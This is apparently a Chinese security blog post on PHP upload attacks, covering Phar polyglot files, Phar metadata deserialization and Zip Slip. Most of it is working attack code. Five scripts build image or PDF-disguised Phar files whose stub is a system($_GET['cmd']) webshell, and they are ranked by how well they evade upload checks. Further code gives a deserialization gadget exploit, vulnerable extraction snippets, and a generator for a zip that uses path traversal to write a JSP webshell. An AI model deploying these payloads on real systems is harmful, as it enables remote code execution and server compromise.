more more more more more upppppppppppppppppppploads

本文最后更新于 2026年8月23日 晚上

Phar反序列化

首先先了解一下一个phar文件的结构

1
2
3
4
Stub                 //头文件
manifest //压缩信息
contents //压缩内容
signature //签名

phar是php内置的一种打包格式(php5.3+),类似于Java的JAR或Python的wheel。它可以将多个PHP文件、资源打包成单个.phar文件,并支持直接执行(通过stub引导)。

Stub

必须以

1
<?php __HALT_COMPILER();?>

结尾,前面可以是任意php代码(甚至可以伪装成图片头,如GIF89a),它能实现直接的rce,而且在php 8+环境下依然有效(不像metadata的自动反序列化已被大幅限制)

所以可以直接在__HALT_COMPILER()之前插入任意恶意代码

通常情况下,Stub一般执行include(‘phar://path/to/file.phar’)或require(‘phar://…’)包含

但是普通的file_get_contents(‘phar://…’)不会执行Stub,只会读取内部文件内容。而include/require才会触发Stub执行

一般场景

文件上传+ LFI+phar://+恶意Stub

先确保传一个伪装成图片的 PHAR 文件(Polyglot 文件)且应用存在文件包含漏洞(或路径可控的 include/require)

随后构造本地包含payload

1
2
include('phar:///var/www/uploads/evil.jpg');
//这个向量不依赖反序列化gadget,直接执行放在Stub里的任意php代码。

Polyglot文件构造

上传一个同时是合法pdf且包含phar的文件

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// create_gif_phar.php
@unlink("evil.jpg");

$phar = new Phar("evil.jpg"); // 扩展名可以是 .jpg / .png / .gif
$phar->startBuffering();

// 关键:设置带图片头的恶意 Stub
$stub = "GIF89a" . "<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>";
$phar->setStub($stub);

$phar->addFromString("test.txt", "Hello from PHAR");
$phar->stopBuffering();

echo "[+] evil.jpg (GIF + malicious PHAR) created!\n";
echo "[+] Stub starts with GIF89a header.\n";
变种 1: GIF89a + PHAR(最推荐、最稳定)

这是目前最常用、成功率最高的方案。几乎所有图片上传检测都能过(包括很多 getimagesize() 检查)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
@unlink("shell.gif");

$phar = new Phar("shell.gif");
$phar->startBuffering();

// 关键:Stub 以 GIF89a 开头 + 恶意 PHP 代码
$stub = 'GIF89a<?php system($_GET["cmd"]); __HALT_COMPILER(); ?>';
$phar->setStub($stub);

$phar->addFromString("index.php", "<?php phpinfo(); ?>"); // 可选内部文件
$phar->stopBuffering();

echo "[+] shell.gif (GIF89a + PHAR) 生成成功!\n";

优点:简单、兼容性极高、Stub 执行可靠。 缺点:部分极严格的图片解析器可能会报错(但实际上传绕过成功率很高)。

变种 2: JPEG (JFIF) + PHAR(第二常用)

使用标准的 JPEG 文件头 FF D8 FF E0 … JFIF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
@unlink("shell.jpg");

$phar = new Phar("shell.jpg");
$phar->startBuffering();

// JPEG 标准头 + PHP 恶意代码
$stub = "\xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00"
. "<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>";
$phar->setStub($stub);

$phar->addFromString("test.txt", "data");
$phar->stopBuffering();

echo "[+] shell.jpg (JPEG + PHAR) 生成成功!\n";
变体(更短的 JPEG 头):
1
$stub = "\xFF\xD8\xFF\xE0<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>";

优点:JPEG 是最常见的上传类型,绕过效果好。 缺点:部分严格的 EXIF/图片库可能会因为后面数据而报警告,但上传通常能通过。

变种 3: 极简 JPEG SOI + PHAR

只使用最基础的 JPEG 开始标记,适合对文件头检查不严格的环境。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
@unlink("evil.jpg");

$phar = new Phar("evil.jpg");
$phar->startBuffering();

$stub = "\xFF\xD8\xFF<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>";
$phar->setStub($stub);

$phar->addFromString("config.php", "test");
$phar->stopBuffering();

echo "[+] Minimal JPEG PHAR created.\n";

适用场景:目标只检查文件头前几个字节(FF D8 FF)。

变种 4: PDF + PHAR Stub

适合允许 PDF 上传的场景(部分后台管理系统支持)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
@unlink("shell.pdf");

$phar = new Phar("shell.pdf");
$phar->startBuffering();

$stub = "%PDF-1.5\n"
. "%<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>\n"
. "%%EOF\n";
$phar->setStub($stub);

$phar->addFromString("exploit.txt", "data");
$phar->stopBuffering();

echo "[+] shell.pdf (PDF + PHAR) 生成成功!\n";

优点:很多系统允许 PDF 上传,且对内容检查较松。 缺点:部分 PDF 阅读器可能会报格式错误(但上传检测通常能过)。

变种 5: Phar::TAR / ZIP 格式转换(强力变种)

默认 PHAR 格式有特定签名(GBMB 结尾),有些上传检测会针对 .phar 魔术字节拦截。

使用 convertToExecutable() 可以转换成 TARZIP 格式,绕过很多针对 PHAR 的检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
@unlink("shell.tar");

$phar = new Phar("shell.phar"); // 先用默认格式生成
$phar->startBuffering();

$stub = "GIF89a<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>";
$phar->setStub($stub);

$phar->addFromString("index.php", "<?php echo 'RCE'; ?>");
$phar->stopBuffering();

// 转换为 TAR 格式(绕过 PHAR 签名检测)
$phar->convertToExecutable(Phar::TAR);

// 重命名为看起来像普通文件
rename("shell.phar.tar", "shell.jpg"); // 或 .tar / .zip

echo "[+] TAR 格式 Polyglot (shell.jpg) 生成成功!\n";
echo "[+] 注意:TAR 格式对尾部数据校验较松,更容易做脏数据拼接。\n";

优点:

  • 绕过很多针对 .phar 或 PHAR 签名的检测。
  • TAR 格式在某些脏数据场景下更 robust(CTF 中常用)。
  • 可结合 GIF89a stub 使用。

ZIP版本:把 Phar::TAR 改成 Phar::ZIP 即可。

Manifest

Manifest紧跟在Stub之后(__HALT_COMPILER(); 之后),包含整个归档的“目录表”

也就意味着当php通过Phar类或phar://流打开文件时,首先解析的就是Manifest

Phar反序列化的核心就存在与序列化的metadata

当php设置phar全局的时候,通常有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$phar = new Phar("evil.phar");
$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");

// 设置全局 Metadata(反序列化攻击核心)
$phar->setMetadata([
'author' => 'attacker',
'version' => '1.0',
// 或者放一个恶意对象
]);

$phar->addFromString("test.txt", "hello");
$phar->stopBuffering();

常规反序列化攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Gadget {
public $cmd;
function __destruct() {
system($this->cmd);
}
}

$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

$obj = new Gadget();
$obj->cmd = "id";

$phar->setMetadata($obj); // 把恶意对象放入全局 Manifest
$phar->addFromString("x.txt", "1");
$phar->stopBuffering();

之后通过phar:// 文件函数触发Manifest解析 →反序列化。

隐式反序列化

phar反序列化的特殊之处在于,完全不需要用户代码调用unserialize(),php内核在解析phar文件时会自动反序列化Manifest中的Metadata

也就是假如我上传/构造一个包含恶意对象的phar文件(通过$phar->setMetadata($evilObject))

目标应用执行类似操作:

1
2
file_exists($_GET['file']);           //或is_file、fopen、include等
//$_GET['file']='phar:///path/to/evil.jpg/xx'

php的phar:// 流包装器被触发,尝试打开phar文件。

php内核调用内部函数phar_parse_metadata()解析Manifest。

phar_parse_metadata()发现Metadata长度>0,调用php_var_unserialize()对Metadata进行反序列化。

恶意对象被重建→属性被设置→__wakeup()(如果有)被调用。

当phar解析完成、对象不再被引用时,__destruct() 被触发,执行攻击者预设的恶意操作(命令执行、文件写入等)。

Zip Slip(归档提取时的任意文件写入)

它利用的是归档格式本身的路径解析特性,而不是文件内容或扩展名。上传的是“容器”,容器内部的路径决定写入位置

即我上传一个压缩包,后台解压后会通过解析内部文件名来跨路径放到指定文件夹

可以构造

1
../../../../../../../../../../etc/passwd

来本地包含

也可以构造

1
../../../../../../../../../../var/www/html/shelll.php(或是shell.jsp等)

来进行本地写入文件(具体得看服务器配置)

典例

经典的StackOverFlow

1
2
3
4
5
6
7
Enumeration<? extends ZipEntry> entries = zipFile.getEntries();
while (entries.hasMoreElements()) {
ZipEntry entry = entries.nextElement();
File destFile = new File(destinationDir, entry.getName()); // 危险!直接拼接
// ... 创建父目录、复制流到 destFile
// 如果 entry.getName() = "../../shell.jsp",就会写到 destinationDir 之外
}
1
2
3
4
5
6
7
8
9
10
11
12
import zipfile
import os

def vulnerable_extract(zip_path, extract_to):
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.infolist():
# 直接拼接,无校验
target_path = os.path.join(extract_to, member.filename)
os.makedirs(os.path.dirname(target_path), exist_ok=True)
with open(target_path, 'wb') as f:
f.write(zf.read(member))
# 如果 member.filename 包含 ../,就会逃逸

常见的nodejs组合拳

1
2
3
const AdmZip = require('adm-zip');
const zip = new AdmZip(uploadedZipBuffer);
zip.extractAllTo(targetDir, true); // 老版本可能不安全,需检查

始终验证最终路径是否严格位于目标目录内,使用规范化(canonical)路径比较

随后是一个经典的payload

1
2
3
4
5
6
7
8
9
10
import zipfile

def create_malicious_zip(payload_content: bytes, malicious_path: str, output_zip: str):
with zipfile.ZipFile(output_zip, 'w', zipfile.ZIP_DEFLATED) as zf:
zi = zipfile.ZipInfo(malicious_path) # 例如 "../../../../../var/www/html/shell.jsp"
zf.writestr(zi, payload_content)

# 示例:写入 WebShell
create_malicious_zip(b'<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>',
'../../../../../var/www/html/cmd.jsp', 'exploit.zip')

more more more more more upppppppppppppppppppploads
https://zomnap.top/2026/07/13/uploads/
作者
Zomnap
发布于
2026年7月13日
许可协议